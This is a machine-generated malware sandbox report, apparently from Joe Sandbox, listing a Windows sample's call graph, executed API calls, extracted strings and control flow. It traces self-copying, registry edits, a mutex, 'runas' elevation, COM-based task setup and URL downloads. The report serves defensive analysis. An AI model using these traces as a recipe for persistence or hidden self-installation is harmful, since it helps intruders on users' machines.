44332 41b510 PeekMessageW 44328->44332 44333 41b564 PostThreadMessageW 44329->44333 44334 41b5bb 44329->44334 44330->44326 44330->44330 44335 41b546 WaitForSingleObject 44332->44335 44336 41b526 DispatchMessageW PeekMessageW 44332->44336 44337 41b570 PeekMessageW 44333->44337 44334->44318 44340 41b5d2 CloseHandle 44334->44340 44335->44329 44335->44332 44336->44335 44336->44336 44338 41b5a6 WaitForSingleObject 44337->44338 44339 41b586 DispatchMessageW PeekMessageW 44337->44339 44338->44334 44338->44337 44339->44338 44339->44339 44340->44318 44345 41b3b3 44345->44323 44718 41c330 59 API calls 44345->44718 44719 41c240 59 API calls 44345->44719 44720 41b8b0 59 API calls 44345->44720 44721 413260 59 API calls 44345->44721 44722 41fa10 CreateThread 44345->44722 45031 427e0e 44346->45031 44348 427f4c 44348->44013 44349->43986 44350->43990 44351->43997 44355->44016 44356->44022 44357->44024 44358->44028 44359->44029 44361 428c9d 44360->44361 44363 425179 44361->44363 44365 428cbb 44361->44365 44369 43b813 44361->44369 44363->44033 44366 432553 TlsSetValue 44363->44366 44365->44361 44365->44363 44377 4329c9 Sleep 44365->44377 44366->44036 44367->44040 44368->44037 44370 43b81e 44369->44370 44373 43b839 44369->44373 44371 43b82a 44370->44371 44370->44373 44378 425208 58 API calls __getptd_noexit 44371->44378 44372 43b849 HeapAlloc 44372->44373 44375 43b82f 44372->44375 44373->44372 44373->44375 44379 42793d DecodePointer 44373->44379 44375->44361 44377->44365 44378->44375 44379->44373 44381 428b1b EnterCriticalSection 44380->44381 44382 428b08 44380->44382 44381->44044 44390 428b9f 58 API calls 10 library calls 44382->44390 44384 428b0e 44384->44381 44391 427c2e 58 API calls 3 library calls 44384->44391 44387->44057 44388->44048 44389->44049 44390->44384 44392->44065 44393->44069 44394->44080 44395->44071 44396->44071 44397->44083 44399 43aeb8 EncodePointer 44398->44399 44399->44399 44400 43aed2 44399->44400 44400->44087 44401->44089 44403 40cf32 _memset __write_nolock 44402->44403 44404 40cf4f InternetOpenW 44403->44404 44405 415c10 59 API calls 44404->44405 44406 40cf8a InternetOpenUrlW 44405->44406 44407 40cfb9 InternetReadFile InternetCloseHandle InternetCloseHandle 44406->44407 44415 40cfb2 44406->44415 44726 4156d0 44407->44726 44409 40d000 44410 4156d0 59 API calls 44409->44410 44411 40d049 44410->44411 44411->44415 44745 413010 59 API calls 44411->44745 44413 40d084 44413->44415 44746 413010 59 API calls 44413->44746 44415->44093 44751 41ccc0 44416->44751 44771 41cc50 44419->44771 44422 41a04d 44422->44105 44422->44110 44425 413ab2 44424->44425 44432 413ad0 GetModuleFileNameW PathRemoveFileSpecW 44424->44432 44426 413b00 44425->44426 44427 413aba 44425->44427 44779 44f23e 59 API calls 2 library calls 44426->44779 44429 423b4c 59 API calls 44427->44429 44430 413ac7 44429->44430 44430->44432 44780 44f1bb 59 API calls 3 library calls 44430->44780 44434 418400 44432->44434 44435 418437 44434->44435 44439 418446 44434->44439 44435->44439 44781 415d50 59 API calls _signal 44435->44781 44437 4184b9 44437->44115 44439->44437 44782 418d50 59 API calls 44439->44782 44783 431781 44440->44783 44801 42f7c0 44443->44801 44446 411d20 _memset 44447 411d40 RegQueryValueExW RegCloseKey 44446->44447 44448 411d8f 44447->44448 44449 415c10 59 API calls 44448->44449 44450 411dbf 44449->44450 44451 411dd1 lstrlenA 44450->44451 44452 411e7c 44450->44452 44803 413520 59 API calls 44451->44803 44454 411e94 6 API calls 44452->44454 44456 411ef5 UuidCreate UuidToStringW 44454->44456 44455 411df1 44457 411e3c PathFileExistsW 44455->44457 44458 411e00 44455->44458 44459 411f36 44456->44459 44457->44452 44460 411e52 44457->44460 44458->44455 44458->44457 44462 415c10 59 API calls 44459->44462 44461 411e6a 44460->44461 44464 414690 59 API calls 44460->44464 44470 4121d1 44461->44470 44463 411f59 RpcStringFreeW PathAppendW CreateDirectoryW 44462->44463 44466 411fce 44463->44466 44468 411f98 44463->44468 44464->44461 44465 415c10 59 API calls 44465->44466 44467 415c10 59 API calls 44466->44467 44469 41201f PathAppendW DeleteFileW CopyFileW RegOpenKeyExW 44467->44469 44468->44465 44469->44470 44471 41207c _memset 44469->44471 44470->44150 44472 412095 6 API calls 44471->44472 44473 412115 _memset 44472->44473 44474 412109 44472->44474 44476 412125 SetLastError lstrcpyW lstrcatW lstrcatW CreateProcessW 44473->44476 44804 413260 59 API calls 44474->44804 44477 4121b2 44476->44477 44478 4121aa GetLastError 44476->44478 44479 4121c0 WaitForSingleObject 44477->44479 44478->44470 44479->44470 44479->44479 44481 42f7c0 __write_nolock 44480->44481 44482 41222d 7 API calls 44481->44482 44483 4122bd K32EnumProcesses 44482->44483 44484 41228c LoadLibraryW GetProcAddress GetProcAddress GetProcAddress 44482->44484 44485 4122d3 44483->44485 44486 4122df 44483->44486 44484->44483 44485->44121 44487 412353 44486->44487 44488 4122f0 OpenProcess 44486->44488 44487->44121 44489 412346 CloseHandle 44488->44489 44490 41230a K32EnumProcessModules 44488->44490 44489->44487 44489->44488 44490->44489 44491 41231c K32GetModuleBaseNameW 44490->44491 44805 420235 44491->44805 44493 41233e 44493->44489 44494 412345 44493->44494 44494->44489 44496 420c62 _malloc 58 API calls 44495->44496 44499 40ef6e _memset 44496->44499 44497 40efdc 44497->44127 44498 420c62 _malloc 58 API calls 44498->44499 44499->44497 44499->44498 44499->44499 44501 413f05 44500->44501 44507 413eae 44500->44507 44502 413fb1 44501->44502 44503 413f18 44501->44503 44821 44f23e 59 API calls 2 library calls 44502->44821 44505 413fbb 44503->44505 44506 413f2d 44503->44506 44513 413f3d _signal 44503->44513 44822 44f23e 59 API calls 2 library calls 44505->44822 44506->44513 44820 416760 59 API calls 2 library calls 44506->44820 44507->44501 44511 413ed4 44507->44511 44514 413ed9 44511->44514 44515 413eef 44511->44515 44513->44127 44818 413da0 59 API calls _signal 44514->44818 44819 413da0 59 API calls _signal 44515->44819 44519 413ee9 44519->44127 44520 413eff 44520->44127 44522 4146a9 44521->44522 44523 41478c 44521->44523 44525 4146b6 44522->44525 44526 4146e9 44522->44526 44825 44f26c 59 API calls 3 library calls 44523->44825 44527 414796 44525->44527 44528 4146c2 44525->44528 44529 4147a0 44526->44529 44530 4146f5 44526->44530 44826 44f26c 59 API calls 3 library calls 44527->44826 44823 413340 59 API calls _memmove 44528->44823 44827 44f23e 59 API calls 2 library calls 44529->44827 44540 414707 _signal 44530->44540 44824 416950 59 API calls 2 library calls 44530->44824 44539 4146e0 44539->44143 44540->44143 44545 40d276 44544->44545 44546 40d27d CoInitializeSecurity 44544->44546 44545->44167 44547 414690 59 API calls 44546->44547 44548 40d2b8 CoCreateInstance 44547->44548 44549 40d2e3 VariantInit VariantInit VariantInit VariantInit 44548->44549 44550 40da3c CoUninitialize 44548->44550 44551 40d38e VariantClear VariantClear VariantClear VariantClear 44549->44551 44550->44545 44552 40d3e2 44551->44552 44553 40d3cc CoUninitialize 44551->44553 44828 40b140 44552->44828 44553->44545 44556 40d3f6 44833 40b1d0 44556->44833 44558 40d422 44559 40d426 CoUninitialize 44558->44559 44560 40d43c 44558->44560 44559->44545 44561 40b140 60 API calls 44560->44561 44563 40d449 44561->44563 44564 40b1d0 SysFreeString 44563->44564 44565 40d471 44564->44565 44566 40d496 CoUninitialize 44565->44566 44567 40d4ac 44565->44567 44566->44545 44569 40d8cf 44567->44569 44570 40b140 60 API calls 44567->44570 44569->44550 44571 40d4d5 44570->44571 44572 40b1d0 SysFreeString 44571->44572 44573 40d4fd 44572->44573 44573->44569 44574 40b140 60 API calls 44573->44574 44575 40d5ae 44574->44575 44576 40b1d0 SysFreeString 44575->44576 44577 40d5d6 44576->44577 44577->44569 44578 40b140 60 API calls 44577->44578 44579 40d679 44578->44579 44580 40b1d0 SysFreeString 44579->44580 44581 40d6a1 44580->44581 44581->44569 44582 40b140 60 API calls 44581->44582 44583 40d6b6 44582->44583 44584 40b1d0 SysFreeString 44583->44584 44585 40d6de 44584->44585 44585->44569 44586 40b140 60 API calls 44585->44586 44587 40d707 44586->44587 44588 40b1d0 SysFreeString 44587->44588 44589 40d72f 44588->44589 44589->44569 44590 40b140 60 API calls 44589->44590 44591 40d744 44590->44591 44592 40b1d0 SysFreeString 44591->44592 44593 40d76c 44592->44593 44593->44569 44837 423aaf GetSystemTimeAsFileTime 44593->44837 44595 40d77d 44839 423551 44595->44839 44600 412c40 59 API calls 44601 40d7b5 44600->44601 44602 412900 60 API calls 44601->44602 44603 40d7c3 44602->44603 44604 40b140 60 API calls 44603->44604 44605 40d7db 44604->44605 44606 40b1d0 SysFreeString 44605->44606 44607 40d7ff 44606->44607 44607->44569 44608 40b140 60 API calls 44607->44608 44609 40d8a3 44608->44609 44610 40b1d0 SysFreeString 44609->44610 44611 40d8cb 44610->44611 44611->44569 44612 40b140 60 API calls 44611->44612 44613 40d8ea 44612->44613 44614 40b1d0 SysFreeString 44613->44614 44615 40d912 44614->44615 44615->44569 44847 40b400 SysAllocString 44615->44847 44617 40d936 VariantInit VariantInit 44618 40b140 60 API calls 44617->44618 44619 40d985 44618->44619 44620 40b1d0 SysFreeString 44619->44620 44621 40d9e7 VariantClear VariantClear VariantClear 44620->44621 44622 40da10 44621->44622 44623 40da46 CoUninitialize 44621->44623 44851 42052a 78 API calls __snprintf_l 44622->44851 44623->44545 44626->44099 44627->44141 44628->44142 44629->44181 44631 420cdd 44630->44631 44638 420c6e 44630->44638 45019 42793d DecodePointer 44631->45019 44633 420ce3 45020 425208 58 API calls __getptd_noexit 44633->45020 44636 420ca1 RtlAllocateHeap 44636->44638 44646 420cd5 44636->44646 44638->44636 44639 420c79 44638->44639 44640 420cc9 44638->44640 44644 420cc7 44638->44644 45016 42793d DecodePointer 44638->45016 44639->44638 45011 427f51 58 API calls 2 library calls 44639->45011 45012 427fae 58 API calls 9 library calls 44639->45012 45013 427b0b 44639->45013 45017 425208 58 API calls __getptd_noexit 44640->45017 45018 425208 58 API calls __getptd_noexit 44644->45018 44646->44171 44647->44184 44649 415c66 44648->44649 44650 415c1e 44648->44650 44651 415c76 44649->44651 44652 415cff 44649->44652 44650->44649 44660 415c45 44650->44660 44658 415c88 _signal 44651->44658 45025 416950 59 API calls 2 library calls 44651->45025 45026 44f23e 59 API calls 2 library calls 44652->45026 44658->44188 44661 414690 59 API calls 44660->44661 44662 415c60 44661->44662 44662->44188 44663->44190 44664->44193 44665->44199 44666->44209 44668 413a90 59 API calls 44667->44668 44669 41294c MultiByteToWideChar 44668->44669 44670 418400 59 API calls 44669->44670 44671 41298d 44670->44671 44671->44212 44672->44217 44673->44225 44674->44231 44675->44235 44676->44239 44677->44243 44678->44247 44679->44251 44680->44255 44681->44257 44682->44259 44683->44261 44684->44263 44685->44265 44686->44267 44687->44269 44688->44271 44689->44273 44690->44275 44691->44277 44692->44279 44693->44281 44694->44283 44695->44285 44696->44287 44698 412c71 44697->44698 44699 412c5f 44697->44699 44702 4156d0 59 API calls 44698->44702 44700 4156d0 59 API calls 44699->44700 44701 412c6a 44700->44701 44701->44292 44703 412c8a 44702->44703 44703->44292 44704->44294 44705->44317 44706->44317 44707->44317 44708->44298 44709->44300 44710->44303 44711->44306 44712->44309 44713->44311 44714->44314 44715->44319 44716->44321 44717->44345 44718->44345 44719->44345 44720->44345 44721->44345 44722->44345 45027 41f130 218 API calls _LangCountryEnumProc@4 44722->45027 44723->44325 45028 41fd80 64 API calls 44723->45028 44727 415735 44726->44727 44728 4156de 44726->44728 44729 4157bc 44727->44729 44730 41573e 44727->44730 44728->44727 44737 415704 44728->44737 44750 44f23e 59 API calls 2 library calls 44729->44750 44733 415750 _signal 44730->44733 44749 416760 59 API calls 2 library calls 44730->44749 44733->44409 44739 415709 44737->44739 44740 41571f 44737->44740 44747 413ff0 59 API calls _signal 44739->44747 44748 413ff0 59 API calls _signal 44740->44748 44743 415719 44743->44409 44744 41572f 44744->44409 44745->44413 44746->44415 44747->44743 44748->44744 44749->44733 44757 423b4c 44751->44757 44753 41ccca 44756 41a00a 44753->44756 44767 44f1bb 59 API calls 3 library calls 44753->44767 44756->44102 44756->44103 44759 423b54 44757->44759 44758 420c62 _malloc 58 API calls 44758->44759 44759->44758 44760 423b6e 44759->44760 44762 423b72 std::exception::exception 44759->44762 44768 42793d DecodePointer 44759->44768 44760->44753 44769 430eca RaiseException 44762->44769 44764 423b9c 44770 430d91 58 API calls _free 44764->44770 44766 423bae 44766->44753 44768->44759 44769->44764 44770->44766 44772 423b4c 59 API calls 44771->44772 44773 41cc5d 44772->44773 44774 41cc64 44773->44774 44778 44f1bb 59 API calls 3 library calls 44773->44778 44774->44422 44777 41d740 59 API calls 44774->44777 44777->44422 44781->44439 44782->44439 44786 431570 44783->44786 44787 431580 44786->44787 44788 431586 44787->44788 44793 4315ae 44787->44793 44797 425208 58 API calls __getptd_noexit 44788->44797 44790 43158b 44798 4242d2 9 API calls __invalid_parameter_noinfo_noreturn 44790->44798 44796 4315cf wcstoxl 44793->44796 44799 42e883 GetStringTypeW 44793->44799 44794 41a36e lstrcpyW lstrcpyW 44794->44136 44796->44794 44800 425208 58 API calls __getptd_noexit 44796->44800 44797->44790 44798->44794 44799->44793 44800->44794 44802 411cf2 RegOpenKeyExW 44801->44802 44802->44446 44802->44470 44803->44455 44804->44473 44806 420241 44805->44806 44807 4202b6 44805->44807 44814 420266 44806->44814 44815 425208 58 API calls __getptd_noexit 44806->44815 44817 4202c8 60 API calls 3 library calls 44807->44817 44810 4202c3 44810->44493 44811 42024d 44816 4242d2 9 API calls __invalid_parameter_noinfo_noreturn 44811->44816 44813 420258 44813->44493 44814->44493 44815->44811 44816->44813 44817->44810 44818->44519 44819->44520 44820->44513 44823->44539 44824->44540 44825->44527 44826->44529 44829 423b4c 59 API calls 44828->44829 44830 40b164 44829->44830 44831 40b177 SysAllocString 44830->44831 44832 40b194 44830->44832 44831->44832 44832->44556 44834 40b1de 44833->44834 44836 40b202 44833->44836 44835 40b1f5 SysFreeString 44834->44835 44834->44836 44835->44836 44836->44558 44838 423add __aulldiv 44837->44838 44838->44595 44852 43035d 44839->44852 44841 42355a 44843 40d78f 44841->44843 44860 423576 44841->44860 44844 4228e0 44843->44844 44964 42279f 44844->44964 44848 40b423 44847->44848 44849 40b41d 44847->44849 44850 40b42d VariantClear 44848->44850 44849->44617 44850->44617 44851->44569 44893 42501f 58 API calls 4 library calls 44852->44893 44854 430363 44855 430369 44854->44855 44856 43038d 44854->44856 44895 428cde 58 API calls 2 library calls 44854->44895 44855->44856 44894 425208 58 API calls __getptd_noexit 44855->44894 44856->44841 44859 43036e 44859->44841 44861 423591 44860->44861 44862 4235a9 _memset 44860->44862 44904 425208 58 API calls __getptd_noexit 44861->44904 44862->44861 44869 4235c0 44862->44869 44864 423596 44905 4242d2 9 API calls __invalid_parameter_noinfo_noreturn 44864->44905 44866 4235cb 44906 425208 58 API calls __getptd_noexit 44866->44906 44867 4235e9 44896 42fb64 44867->44896 44869->44866 44869->44867 44871 4235ee 44907 42f803 58 API calls ___wstrgtold12_l 44871->44907 44873 4235f7 44874 4237e5 44873->44874 44908 42f82d 58 API calls ___wstrgtold12_l 44873->44908 44921 4242fd 8 API calls 2 library calls 44874->44921 44877 4237ef 44878 423609 44878->44874 44909 42f857 44878->44909 44880 42361b 44880->44874 44881 423624 44880->44881 44882 42369b 44881->44882 44884 423637 44881->44884 44919 42f939 58 API calls 4 library calls 44882->44919 44916 42f939 58 API calls 4 library calls 44884->44916 44885 4236a2 44892 4235a0 __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z __allrem 44885->44892 44920 42fbb4 58 API calls 4 library calls 44885->44920 44887 42364f 44887->44892 44917 42fbb4 58 API calls 4 library calls 44887->44917 44890 423668 44890->44892 44918 42f939 58 API calls 4 library calls 44890->44918 44892->44843 44893->44854 44894->44859 44895->44855 44897 42fb70 type_info::_Type_info_dtor 44896->44897 44898 42fba5 type_info::_Type_info_dtor 44897->44898 44899 428af7 __lock 58 API calls 44897->44899 44898->44871 44900 42fb80 44899->44900 44903 42fb93 44900->44903 44922 42fe47 44900->44922 44951 42fbab LeaveCriticalSection _doexit 44903->44951 44904->44864 44905->44892 44906->44892 44907->44873 44908->44878 44910 42f861 44909->44910 44911 42f876 44909->44911 44962 425208 58 API calls __getptd_noexit 44910->44962 44911->44880 44913 42f866 44963 4242d2 9 API calls __invalid_parameter_noinfo_noreturn 44913->44963 44915 42f871 44915->44880 44916->44887 44917->44890 44918->44892 44919->44885 44920->44892 44921->44877 44923 42fe53 type_info::_Type_info_dtor 44922->44923 44924 428af7 __lock 58 API calls 44923->44924 44925 42fe71 __tzset_nolock 44924->44925 44926 42f857 __tzset_nolock 58 API calls 44925->44926 44927 42fe86 44926->44927 44942 42ff25 __tzset_nolock __isindst_nolock 44927->44942 44952 42f803 58 API calls ___wstrgtold12_l 44927->44952 44930 42fe98 44930->44942 44953 42f82d 58 API calls ___wstrgtold12_l 44930->44953 44931 42ff71 GetTimeZoneInformation 44931->44942 44934 42feaa 44934->44942 44954 433f99 58 API calls 2 library calls 44934->44954 44936 42ffd8 WideCharToMultiByte 44936->44942 44937 42feb8 44955 441667 78 API calls 3 library calls 44937->44955 44938 430010 WideCharToMultiByte 44938->44942 44941 42ff0c _strlen 44957 428cde 58 API calls 2 library calls 44941->44957 44942->44931 44942->44936 44942->44938 44943 430157 __tzset_nolock type_info::_Type_info_dtor __isindst_nolock 44942->44943 44949 43ff8e 58 API calls ___getlocaleinfo 44942->44949 44950 423c2d 61 API calls UnDecorator::getTemplateArgumentList 44942->44950 44959 4242fd 8 API calls 2 library calls 44942->44959 44960 420bed 58 API calls 2 library calls 44942->44960 44961 4300d7 LeaveCriticalSection _doexit 44942->44961 44943->44903 44945 42fed9 __tzset_nolock 44945->44941 44945->44942 44956 420bed 58 API calls 2 library calls 44945->44956 44946 42ff1a _strlen 44946->44942 44958 42c0fd 58 API calls ___wstrgtold12_l 44946->44958 44949->44942 44950->44942 44951->44898 44952->44930 44953->44934 44954->44937 44955->44945 44956->44941 44957->44946 44958->44942 44959->44942 44960->44942 44961->44942 44962->44913 44963->44915 44991 42019c 44964->44991 44966 4227d4 44999 425208 58 API calls __getptd_noexit 44966->44999 44969 4227d9 45000 4242d2 9 API calls __invalid_parameter_noinfo_noreturn 44969->45000 44970 4227e9 MultiByteToWideChar 44973 422804 GetLastError 44970->44973 44974 422815 44970->44974 44972 40d7a3 44972->44600 45001 4251e7 58 API calls 3 library calls 44973->45001 45002 428cde 58 API calls 2 library calls 44974->45002 44977 42281d 44978 422810 44977->44978 44979 422825 MultiByteToWideChar 44977->44979 45006 420bed 58 API calls 2 library calls 44978->45006 44979->44973 44980 42283f 44979->44980 45003 428cde 58 API calls 2 library calls 44980->45003 44983 4228a0 45007 420bed 58 API calls 2 library calls 44983->45007 44985 42284a 44985->44978 45004 42d51e 88 API calls 3 library calls 44985->45004 44987 422866 44987->44978 44988 42286f WideCharToMultiByte 44987->44988 44988->44978 44989 42288b GetLastError 44988->44989 45005 4251e7 58 API calls 3 library calls 44989->45005 44992 4201ad 44991->44992 44996 4201fa 44991->44996 45008 425007 58 API calls 2 library calls 44992->45008 44994 4201b3 44995 4201da 44994->44995 45009 4245dc 58 API calls 6 library calls 44994->45009 44995->44996 45010 42495e 58 API calls 6 library calls 44995->45010 44996->44966 44996->44970 44999->44969 45000->44972 45001->44978 45002->44977 45003->44985 45004->44987 45005->44978 45006->44983 45007->44972 45008->44994 45009->44995 45010->44996 45011->44639 45012->44639 45021 427ad7 GetModuleHandleExW 45013->45021 45016->44638 45017->44644 45018->44646 45019->44633 45020->44646 45022 427af0 GetProcAddress 45021->45022 45023 427b07 ExitProcess 45021->45023 45022->45023 45024 427b02 45022->45024 45024->45023 45025->44658 45032 427e1a type_info::_Type_info_dtor 45031->45032 45033 428af7 __lock 51 API calls 45032->45033 45034 427e21 45033->45034 45035 427eda _doexit 45034->45035 45036 427e4f DecodePointer 45034->45036 45051 427f28 45035->45051 45036->45035 45038 427e66 DecodePointer 45036->45038 45045 427e76 45038->45045 45040 427f37 type_info::_Type_info_dtor 45040->44348 45042 427f1f 45044 427b0b _malloc 3 API calls 45042->45044 45043 427e83 EncodePointer 45043->45045 45047 427f28 45044->45047 45045->45035 45045->45043 45046 427e93 DecodePointer EncodePointer 45045->45046 45049 427ea5 DecodePointer DecodePointer 45046->45049 45048 427f35 45047->45048 45056 428c81 LeaveCriticalSection 45047->45056 45048->44348 45049->45045 45052 427f08 45051->45052 45053 427f2e 45051->45053 45052->45040 45055 428c81 LeaveCriticalSection 45052->45055 45057 428c81 LeaveCriticalSection 45053->45057 45055->45042 45056->45048 45057->45052

                                                                                                                                                                                                                                                                Executed Functions

                                                                                                                                                                                                                                                                Function 00419F90 Relevance: 176.6, APIs: 65, Strings: 35, Instructions: 1565COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                  • Part of subcall function 0040CF10: _memset.LIBCMT ref: 0040CF4A
                                                                                                                                                                                                                                                                  • Part of subcall function 0040CF10: InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
                                                                                                                                                                                                                                                                  • Part of subcall function 0040CF10: InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6
                                                                                                                                                                                                                                                                • GetCurrentProcess.KERNEL32 ref: 00419FC4
                                                                                                                                                                                                                                                                • GetLastError.KERNEL32 ref: 00419FD2
                                                                                                                                                                                                                                                                • SetPriorityClass.KERNEL32(00000000,00000080), ref: 00419FDA
                                                                                                                                                                                                                                                                • GetLastError.KERNEL32 ref: 00419FE4
                                                                                                                                                                                                                                                                • GetModuleFileNameW.KERNEL32(00000000,?,00000400,00000400,?,?,00000000,007FADC8,?), ref: 0041A0BB
                                                                                                                                                                                                                                                                • PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041A0C2
                                                                                                                                                                                                                                                                • GetCommandLineW.KERNEL32(?,?), ref: 0041A161
                                                                                                                                                                                                                                                                  • Part of subcall function 004124E0: CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
                                                                                                                                                                                                                                                                  • Part of subcall function 004124E0: GetLastError.KERNEL32 ref: 00412509
                                                                                                                                                                                                                                                                  • Part of subcall function 004124E0: CloseHandle.KERNEL32 ref: 0041251C
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: ErrorLast$FileInternetOpen$ClassCloseCommandCreateCurrentHandleLineModuleMutexNamePathPriorityProcessRemoveSpec_memset
                                                                                                                                                                                                                                                                • String ID: IsNotAutoStart$ IsNotTask$%username%$--Admin$--AutoStart$--ForNetRes$--Service$--Task$<$C:\Program Files (x86)\Google\$C:\Program Files (x86)\Internet Explorer\$C:\Program Files (x86)\Mozilla Firefox\$C:\Program Files\Google\$C:\Program Files\Internet Explorer\$C:\Program Files\Mozilla Firefox\$C:\Windows\$D:\Program Files (x86)\Google\$D:\Program Files (x86)\Internet Explorer\$D:\Program Files (x86)\Mozilla Firefox\$D:\Program Files\Google\$D:\Program Files\Internet Explorer\$D:\Program Files\Mozilla Firefox\$D:\Windows\$F:\$I:\5d2860c89d774.jpg$IsAutoStart$IsTask$X1P$list<T> too long$runas$x*P$x2Q${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}$7P
                                                                                                                                                                                                                                                                • API String ID: 2957410896-3144399390
                                                                                                                                                                                                                                                                • Opcode ID: d015b84eba4a4434be79b711f18dbc426407edb0061b691a0cb40fbdcb0bdc00
                                                                                                                                                                                                                                                                • Instruction ID: ef0c4ad91a93ebed44a25fa424fadbe3f4bc75453965ff7ad5f6b92dd0de7051
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: d015b84eba4a4434be79b711f18dbc426407edb0061b691a0cb40fbdcb0bdc00
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 99D2F670604341ABD710EF21D895BDF77E5BF94308F00492EF48587291EB78AA99CB9B
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 0040D240 Relevance: 58.5, APIs: 25, Strings: 8, Instructions: 702comCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 688 40d240-40d274 CoInitialize 689 40d276-40d278 688->689 690 40d27d-40d2dd CoInitializeSecurity call 414690 CoCreateInstance 688->690 691 40da8e-40da92 689->691 697 40d2e3-40d3ca VariantInit * 4 VariantClear * 4 690->697 698 40da3c-40da44 CoUninitialize 690->698 693 40da94-40da9c call 422587 691->693 694 40da9f-40dab1 691->694 693->694 704 40d3e2-40d3fe call 40b140 697->704 705 40d3cc-40d3dd CoUninitialize 697->705 700 40da69-40da6d 698->700 702 40da7a-40da8a 700->702 703 40da6f-40da77 call 422587 700->703 702->691 703->702 711 40d400-40d402 704->711 712 40d404 704->712 705->700 713 40d406-40d424 call 40b1d0 711->713 712->713 717 40d426-40d437 CoUninitialize 713->717 718 40d43c-40d451 call 40b140 713->718 717->700 722 40d453-40d455 718->722 723 40d457 718->723 724 40d459-40d494 call 40b1d0 722->724 723->724 730 40d496-40d4a7 CoUninitialize 724->730 731 40d4ac-40d4c2 724->731 730->700 734 40d4c8-40d4dd call 40b140 731->734 735 40da2a-40da37 731->735 739 40d4e3 734->739 740 40d4df-40d4e1 734->740 735->698 741 40d4e5-40d508 call 40b1d0 739->741 740->741 741->735 746 40d50e-40d524 741->746 746->735 748 40d52a-40d542 746->748 748->735 751 40d548-40d55e 748->751 751->735 753 40d564-40d57c 751->753 753->735 756 40d582-40d59b 753->756 756->735 758 40d5a1-40d5b6 call 40b140 756->758 761 40d5b8-40d5ba 758->761 762 40d5bc 758->762 763 40d5be-40d5e1 call 40b1d0 761->763 762->763 763->735 768 40d5e7-40d5fd 763->768 768->735 770 40d603-40d626 768->770 770->735 773 40d62c-40d651 770->773 773->735 776 40d657-40d666 773->776 776->735 778 40d66c-40d681 call 40b140 776->778 781 40d683-40d685 778->781 782 40d687 778->782 783 40d689-40d6a3 call 40b1d0 781->783 782->783 783->735 787 40d6a9-40d6be call 40b140 783->787 790 40d6c0-40d6c2 787->790 791 40d6c4 787->791 792 40d6c6-40d6e0 call 40b1d0 790->792 791->792 792->735 796 40d6e6-40d6f4 792->796 796->735 798 40d6fa-40d70f call 40b140 796->798 801 40d711-40d713 798->801 802 40d715 798->802 803 40d717-40d731 call 40b1d0 801->803 802->803 803->735 807 40d737-40d74c call 40b140 803->807 810 40d752 807->810 811 40d74e-40d750 807->811 812 40d754-40d76e call 40b1d0 810->812 811->812 812->735 816 40d774-40d7ce call 423aaf call 423551 call 4228e0 call 412c40 call 412900 812->816 827 40d7d0 816->827 828 40d7d2-40d7e3 call 40b140 816->828 827->828 831 40d7e5-40d7e7 828->831 832 40d7e9 828->832 833 40d7eb-40d819 call 40b1d0 call 413210 831->833 832->833 833->735 840 40d81f-40d835 833->840 840->735 842 40d83b-40d85e 840->842 842->735 845 40d864-40d889 842->845 845->735 848 40d88f-40d8ab call 40b140 845->848 851 40d8b1 848->851 852 40d8ad-40d8af 848->852 853 40d8b3-40d8cd call 40b1d0 851->853 852->853 857 40d8dd-40d8f2 call 40b140 853->857 858 40d8cf-40d8d8 853->858 862 40d8f4-40d8f6 857->862 863 40d8f8 857->863 858->735 864 40d8fa-40d91d call 40b1d0 862->864 863->864 864->735 869 40d923-40d98d call 40b400 VariantInit * 2 call 40b140 864->869 874 40d993 869->874 875 40d98f-40d991 869->875 876 40d995-40da0e call 40b1d0 VariantClear * 3 874->876 875->876 880 40da10-40da27 call 42052a 876->880 881 40da46-40da67 CoUninitialize 876->881 880->735 881->700
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • CoInitialize.OLE32(00000000), ref: 0040D26C
                                                                                                                                                                                                                                                                • CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 0040D28F
                                                                                                                                                                                                                                                                • CoCreateInstance.OLE32(004D506C,00000000,00000001,004D4FEC,?,?,00000000,000000FF), ref: 0040D2D5
                                                                                                                                                                                                                                                                • VariantInit.OLEAUT32(?), ref: 0040D2F0
                                                                                                                                                                                                                                                                • VariantInit.OLEAUT32(?), ref: 0040D309
                                                                                                                                                                                                                                                                • VariantInit.OLEAUT32(?), ref: 0040D322
                                                                                                                                                                                                                                                                • VariantInit.OLEAUT32(?), ref: 0040D33B
                                                                                                                                                                                                                                                                • VariantClear.OLEAUT32(?), ref: 0040D397
